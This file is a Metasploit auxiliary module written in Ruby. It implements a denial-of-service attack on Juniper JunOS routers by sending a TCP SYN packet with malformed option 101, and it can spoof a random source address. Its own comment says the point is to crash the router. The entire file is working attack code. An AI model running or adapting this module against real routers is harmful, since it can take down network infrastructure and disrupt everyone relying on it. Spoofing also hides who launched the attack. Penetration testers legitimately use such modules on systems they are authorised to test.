##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Capture
  include Msf::Auxiliary::Dos

  # The whole point is to cause a router crash.
  Rank = ManualRanking

  def initialize
    super(
      'Name'        => 'Juniper JunOS Malformed TCP Option',
      'Description' => %q{ This module exploits a denial of service vulnerability
        in Juniper Network's JunOS router operating system. By sending a TCP
        packet with TCP option 101 set, an attacker can cause an affected
        router to reboot.
        },
      'Author'      => 'todb',
      'License'     => MSF_LICENSE,
      'References' =>
        [
          ['BID', '37670'],
          ['OSVDB', '61538'],
          ['URL','http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/']
        ]
    )

    register_options([
      OptInt.new('RPORT', [false, 'The destination port (defaults to random)']),
      OptInt.new('SPORT', [false, 'Source port (defaults to random)']),
      OptAddress.new('SHOST', [false, 'Source address (defaults to random)'])
    ])

    deregister_options('FILTER','PCAPFILE', 'SNAPLEN')
  end

  def rport
    datastore['RPORT'].to_i.zero? ? rand(0xffff) : datastore['RPORT'].to_i
  end

  def sport
    datastore['SPORT'].to_i.zero? ? rand(0xffff) : datastore['SPORT'].to_i
  end

  def shost
    datastore['SHOST'] || IPAddr.new(rand(0xffffffff), Socket::AF_INET).to_s
  end

  def run

    open_pcap

    p = PacketFu::TCPPacket.new
    p.ip_daddr = rhost
    p.ip_saddr = shost
    p.ip_ttl = rand(128) + 128
    p.tcp_sport = sport
    p.tcp_dport = rport
    p.tcp_flags.syn = 1
    p.tcp_win = rand(4096)+1
    p.tcp_opts = "e\x02\x01\x00" # Opt 101, len 2, nop, eol
    p.recalc
    print_status("#{p.ip_daddr}:#{p.tcp_dport} Sending TCP Syn packet from #{p.ip_saddr}:#{p.tcp_sport}")
    capture_sendto(p,rhost)
    close_pcap
  end
end